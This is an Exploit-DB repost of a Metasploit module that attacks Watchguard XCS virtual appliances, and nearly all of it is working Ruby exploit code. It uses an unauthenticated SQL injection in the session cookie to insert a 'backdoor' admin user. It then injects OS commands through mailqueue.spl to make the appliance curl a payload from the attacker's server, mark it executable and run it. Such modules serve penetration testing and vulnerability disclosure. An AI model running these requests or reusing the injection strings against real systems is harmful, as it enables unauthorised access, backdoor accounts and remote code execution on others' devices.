Watchguard XCS Remote Command Execution

Posted on Posted in Exploit, Metasploit Modul
EDB-ID: 38346 CVE: N/A OSVDB-ID: N/A
Verified: YES Author: metasploit Published: 2015-09-28
Download Exploit: Source Raw Download Vulnerable App: N/A
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
 
require 'msf/core'
 
class Metasploit4 < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
 
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Watchguard XCS Remote Command Execution',
      'Description'    => %q{
        This module exploits two separate vulnerabilities found in the Watchguard XCS virtual
        appliance to gain command execution. By exploiting an unauthenticated SQL injection, a
        remote attacker may insert a valid web user into the appliance database, and get access
        to the web interface. On the other hand, a vulnerability in the web interface allows the
        attacker to inject operating system commands as the 'nobody' user.
      },
      'Author'         =>
        [
          'Daniel Jensen <daniel.jensen[at]security-assessment.com>' # discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf']
        ],
      'Platform'       => 'bsd',
      'Arch'           => ARCH_X86_64,
      'Privileged'     => false,
      'Stance'         => Msf::Exploit::Stance::Aggressive,
      'Targets'        =>
        [
          [ 'Watchguard XCS 9.2/10.0', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 29 2015'
    ))
 
    register_options(
      [
        OptString.new('TARGETURI', [true, 'The target URI', '/']),
        OptString.new('WATCHGUARD_USER', [true, 'Web interface user account to add', 'backdoor']),
        OptString.new('WATCHGUARD_PASSWORD', [true, 'Web interface user password', 'backdoor']),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
        Opt::RPORT(443)
      ],
      self.class
    )
  end
 
  def check
    #Check to see if the SQLi is present
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
      'cookie' => "sid=1'"
     })
 
     if res && res.body && res.body.include?('unterminated quoted string')
       return Exploit::CheckCode::Vulnerable
     end
 
     Exploit::CheckCode::Safe
  end
 
 
  def exploit
    # Get a valid session by logging in or exploiting SQLi to add user
    print_status('Getting a valid session...')
    @sid = get_session
    print_status('Successfully logged in')
 
    # Check if cmd injection works
    test_cmd_inj = send_cmd_exec('/ADMIN/mailqueue.spl', 'id')
    unless test_cmd_inj && test_cmd_inj.body.include?('uid=65534')
      fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable')
    end
 
    # We have cmd exec, stand up an HTTP server and deliver the payload
    vprint_status('Getting ready to drop binary on appliance')
 
    @elf_sent = false
    # Generate payload
    @pl = generate_payload_exe
 
    if @pl.nil?
      fail_with(Failure::BadConfig, 'Please select a native bsd payload')
    end
 
    # Start the server and use primer to trigger fetching and running of the payload
    begin
      Timeout.timeout(datastore['HTTPDELAY']) { super }
    rescue Timeout::Error
    end
  end
 
  def attempt_login(username, pwd_clear)
    #Attempts to login with the provided user credentials
    #Get the login page
    get_login_hash = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/login.spl')
    })
 
    unless get_login_hash && get_login_hash.body
      fail_with(Failure::Unreachable, 'Could not get login page.')
    end
 
    #Find the hash token needed to login
    login_hash = ''
    get_login_hash.body.each_line do |line|
      next if line !~ /name="hash" value="(.*)"/
      login_hash = $1
      break
    end
 
    sid_cookie = (get_login_hash.get_cookies || '').scan(/sid=(\w+);/).flatten[0] || ''
    if login_hash == '' || sid_cookie == ''
      fail_with(Failure::UnexpectedReply, 'Could not find login hash or cookie')
    end
 
    login_post = {
      'u' => "#{username}",
      'pwd' => "#{pwd_clear}",
      'hash' => login_hash,
      'login' => 'Login'
    }
    print_status('Attempting to login with provided credentials')
    login = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/login.spl'),
      'method' => 'POST',
      'encode_params' => false,
      'cookie' => "sid=#{sid_cookie}",
      'vars_post' => login_post,
      'vars_get' => {
        'f' => 'V'
      }
    })
 
 
    unless login && login.body && login.body.include?('<title>Loading...</title>')
      return nil
    end
 
    sid_cookie
  end
 
  def add_user(user_id, username, pwd_hash, pwd_clear)
    #Adds a user to the database using the unauthed SQLi
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/borderpost/imp/compose.php3'),
      'cookie' => "sid=1%3BINSERT INTO sds_users (self, login, password, org, priv_level, quota, disk_usage) VALUES(#{user_id}, '#{username}', '#{pwd_hash}', 0, 'server_admin', 0, 0)--"
    })
 
    unless res && res.body
      fail_with(Failure::Unreachable, "Could not connect to host")
    end
 
    if res.body.include?('ERROR:  duplicate key value violates unique constraint')
      print_status("Added backdoor user, credentials => #{username}:#{pwd_clear}")
    else
      fail_with(Failure::UnexpectedReply, 'Unable to add user to database')
    end
 
    true
  end
 
  def generate_device_hash(cleartext_password)
    #Generates the specific hashes needed for the XCS
    pre_salt = 'BorderWare '
    post_salt = ' some other random (9) stuff'
    hash_tmp = Rex::Text.md5(pre_salt + cleartext_password + post_salt)
    final_hash = Rex::Text.md5(cleartext_password + hash_tmp)
 
    final_hash
  end
 
  def send_cmd_exec(uri, os_cmd, blocking = true)
    #This is a handler function that makes HTTP calls to exploit the command injection issue
    unless @sid
      fail_with(Failure::Unknown, 'Missing a session cookie when attempting to execute command.')
    end
 
    opts = {
      'uri' => normalize_uri(target_uri.path, "#{uri}"),
      'cookie' => "sid=#{@sid}",
      'encode_params' => true,
      'vars_get' => {
        'f' => 'dnld',
        'id' => ";#{os_cmd}"
      }
    }
 
    if blocking
      res = send_request_cgi(opts)
    else
      res = send_request_cgi(opts, 1)
    end
 
    #Handle cmd exec failures
    if res.nil? && blocking
      fail_with(Failure::Unknown, 'Failed to exploit command injection.')
    end
 
    res
  end
 
  def get_session
    #Gets a valid login session, either valid creds or the SQLi vulnerability
    username = datastore['WATCHGUARD_USER']
    pwd_clear = datastore['WATCHGUARD_PASSWORD']
    user_id = rand(999)
 
    sid_cookie = attempt_login(username, pwd_clear)
 
    return sid_cookie unless sid_cookie.nil?
 
    vprint_error('Failed to login, attempting to add backdoor user...')
    pwd_hash = generate_device_hash(pwd_clear)
 
    unless add_user(user_id, username, pwd_hash, pwd_clear)
      fail_with(Failure::Unknown, 'Failed to add user account to database.')
    end
 
    sid_cookie = attempt_login(username, pwd_clear)
 
    unless sid_cookie
      fail_with(Failure::Unknown, 'Unable to login with user account.')
    end
 
    sid_cookie
  end
 
  # Make the server download the payload and run it
  def primer
    vprint_status('Primer hook called, make the server get and run exploit')
 
    #Gets the autogenerated uri from the mixin
    payload_uri = get_uri
 
    filename = rand_text_alpha_lower(8)
    print_status("Sending download request for #{payload_uri}")
 
    download_cmd = "/usr/local/sbin/curl -k #{payload_uri} -o /tmp/#{filename}"
    vprint_status("Telling appliance to run #{download_cmd}")
    send_cmd_exec('/ADMIN/mailqueue.spl', download_cmd)
    register_file_for_cleanup("/tmp/#{filename}")
 
    chmod_cmd = "chmod +x /tmp/#{filename}"
    vprint_status('Chmoding the payload...')
    send_cmd_exec("/ADMIN/mailqueue.spl", chmod_cmd)
 
    exec_cmd = "/tmp/#{filename}"
    vprint_status('Running the payload...')
    send_cmd_exec('/ADMIN/mailqueue.spl', exec_cmd, false)
 
    vprint_status('Finished primer hook, raising Timeout::Error manually')
    raise(Timeout::Error)
  end
 
  #Handle incoming requests from the server
  def on_request_uri(cli, request)
    vprint_status("on_request_uri called: #{request.inspect}")
    print_status('Sending the payload to the server...')
    @elf_sent = true
    send_response(cli, @pl)
  end
 
end

Quelle: exploit-db

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